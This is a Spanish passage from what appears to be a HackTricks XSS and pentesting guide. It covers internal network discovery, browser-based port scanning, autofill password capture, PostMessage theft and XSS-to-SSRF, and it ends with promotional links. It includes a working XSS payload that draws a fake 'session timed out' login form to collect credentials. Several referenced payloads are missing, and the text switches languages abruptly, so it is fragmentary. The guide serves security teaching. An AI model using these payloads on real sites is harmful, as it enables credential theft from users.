Durante una prueba de penetración, es posible que desees encontrar las direcciones IP internas de un sistema objetivo. Esto puede ser útil para identificar otros dispositivos en la red interna y para planificar ataques dirigidos.
Aquí hay algunas técnicas que puedes utilizar para encontrar las IPs internas:
1.**Ping Sweep**: Utiliza una herramienta como `nmap` para realizar un barrido de ping en la red objetivo. Esto enviará un ping a cada dirección IP posible en la red y te mostrará las respuestas, lo que te permitirá identificar las IPs activas.
2.**ARP Scanning**: Utiliza la tabla ARP para descubrir las direcciones IP internas. Puedes utilizar la herramienta `arp-scan` para realizar un escaneo ARP en la red objetivo y obtener una lista de direcciones IP y direcciones MAC asociadas.
3.**DNS Lookup**: Realiza una búsqueda DNS inversa para obtener las direcciones IP internas asociadas a los nombres de dominio. Puedes utilizar la herramienta `nslookup` para realizar esta búsqueda.
El escáner de puertos es una herramienta utilizada para identificar los puertos abiertos en un sistema objetivo. Esta técnica es comúnmente utilizada en pruebas de penetración para descubrir posibles vulnerabilidades en un sistema.
El escáner de puertos "fetch" es una implementación específica de esta técnica que utiliza la función `fetch` en JavaScript para enviar solicitudes HTTP a diferentes puertos en el sistema objetivo. Al enviar solicitudes a diferentes puertos y analizar las respuestas recibidas, es posible determinar qué puertos están abiertos y disponibles para su uso.
El escáner de puertos "fetch" es una herramienta útil para los hackers éticos y los profesionales de la seguridad cibernética, ya que les permite identificar posibles puntos de entrada para ataques maliciosos. Sin embargo, es importante tener en cuenta que el uso de esta técnica en sistemas sin autorización es ilegal y puede tener consecuencias legales graves.
Para utilizar el escáner de puertos "fetch", simplemente se debe ejecutar el código JavaScript correspondiente en un navegador web compatible. El código enviará solicitudes a diferentes puertos y mostrará las respuestas recibidas, lo que permitirá identificar los puertos abiertos en el sistema objetivo.
Es importante destacar que el escáner de puertos "fetch" solo identifica la disponibilidad de los puertos y no proporciona información sobre posibles vulnerabilidades o riesgos asociados. Por lo tanto, es recomendable complementar esta técnica con otras pruebas de penetración y análisis de seguridad para obtener una evaluación completa de la seguridad del sistema objetivo.
El escáner de puertos es una herramienta utilizada en el pentesting para identificar los puertos abiertos en un sistema objetivo. Esta técnica es especialmente útil en el contexto de los websockets, que son protocolos de comunicación bidireccional utilizados en aplicaciones web interactivas.
El escáner de puertos websockets se utiliza para descubrir posibles vulnerabilidades en la implementación de los websockets en un sitio web. Al identificar los puertos abiertos, un hacker puede intentar explotar estas vulnerabilidades para llevar a cabo ataques de cross-site scripting (XSS) u otros ataques maliciosos.
El escáner de puertos websockets funciona enviando solicitudes de conexión a diferentes puertos en el sistema objetivo y analizando las respuestas recibidas. Si se recibe una respuesta positiva, significa que el puerto está abierto y puede ser vulnerable a ataques.
Es importante destacar que el uso de un escáner de puertos websockets debe realizarse con el consentimiento del propietario del sistema objetivo y solo con fines legítimos, como la evaluación de la seguridad de un sitio web. El uso no autorizado de esta técnica puede ser considerado ilegal y puede tener consecuencias legales graves.
Revisa la lista de puertos prohibidos en Chrome [**aquí**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) y en Firefox [**aquí**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
### Cuadro para solicitar credenciales
```markup
<style>::placeholder{color:white;}</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Auto-fill passwords capture is a technique used to exploit cross-site scripting (XSS) vulnerabilities in web applications. When a user visits a vulnerable website and has their browser's password manager enabled, the attacker can inject malicious code into the website that captures the user's saved passwords.
#### How it works
1. The attacker identifies a web application that is vulnerable to XSS attacks.
2. The attacker crafts a malicious payload that will be injected into the vulnerable website.
3. The payload is designed to capture the user's saved passwords by exploiting the browser's password manager.
Cuando se introduce cualquier dato en el campo de contraseña, el nombre de usuario y la contraseña se envían al servidor del atacante, incluso si el cliente selecciona una contraseña guardada y no escribe nada, las credenciales serán exfiltradas.
En algunas aplicaciones web, se utiliza la función `PostMessage` para permitir la comunicación entre diferentes ventanas o marcos dentro de la misma página. Sin embargo, esta función también puede ser explotada por un atacante para robar mensajes enviados a través de ella.
El ataque de robo de mensajes de `PostMessage` se basa en la capacidad de un atacante para inyectar código malicioso en una página web vulnerable. Una vez que el código malicioso se ejecuta en el contexto de la página, puede interceptar y leer los mensajes enviados a través de `PostMessage`.
Para llevar a cabo este ataque, el atacante puede utilizar técnicas como la inyección de código JavaScript en campos de entrada o enlaces maliciosos. Una vez que el código malicioso se ejecuta en la página, puede utilizar la función `window.addEventListener` para escuchar los mensajes enviados a través de `PostMessage` y robar su contenido.
Es importante destacar que este ataque solo es posible si el sitio web vulnerable permite la ejecución de código JavaScript no confiable. Los desarrolladores deben implementar medidas de seguridad adecuadas, como la validación y el filtrado de datos de entrada, para prevenir este tipo de ataques.
Para protegerse contra el robo de mensajes de `PostMessage`, los desarrolladores deben asegurarse de que solo se permita la ejecución de código JavaScript confiable y de que se implementen medidas de seguridad adecuadas en su aplicación web. Además, los usuarios deben ser conscientes de los riesgos asociados con la ejecución de código JavaScript no confiable y deben evitar interactuar con sitios web sospechosos o no confiables.
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
Desde [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) es posible aprender que incluso si algunos valores desaparecen de JS, aún es posible encontrarlos en los atributos de JS en diferentes objetos. Por ejemplo, es posible encontrar un valor de entrada de una REGEX incluso después de que se haya eliminado el valor de entrada de la REGEX:
¿Obtuviste XSS en un **sitio que utiliza almacenamiento en caché**? Intenta **actualizarlo a SSRF** a través de la Inyección de Inclusión de Borde Lateral con esta carga útil:
Si una página web está creando un PDF utilizando una entrada controlada por el usuario, puedes intentar **engañar al bot** que está creando el PDF para que **ejecute código JS arbitrario**.\
Entonces, si el **bot creador de PDF encuentra** algún tipo de **etiquetas HTML**, las va a **interpretar**, y puedes **abusar** de este comportamiento para causar un **XSS en el servidor**.
AMP es una tecnología conocida por desarrollar páginas web súper rápidas en clientes móviles. **AMP es un conjunto de etiquetas HTML respaldadas por JavaScript** que permite fácilmente funcionalidad con un enfoque adicional en rendimiento y seguridad. Hay [componentes AMP](https://amp.dev/documentation/components/?format=websites) para todo, desde carruseles hasta elementos de formulario responsivos, hasta la obtención de contenido fresco desde puntos finales remotos.
El formato [**AMP para Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) proporciona [un subconjunto de componentes AMP](https://github.com/ampproject/amphtml/blob/master/docs/spec/email/amp-email-components.md) que puedes utilizar en mensajes de correo electrónico. Los destinatarios de correos electrónicos AMP pueden ver e interactuar con los componentes AMP directamente en el correo electrónico.
**Consejo de recompensa por errores**: **regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
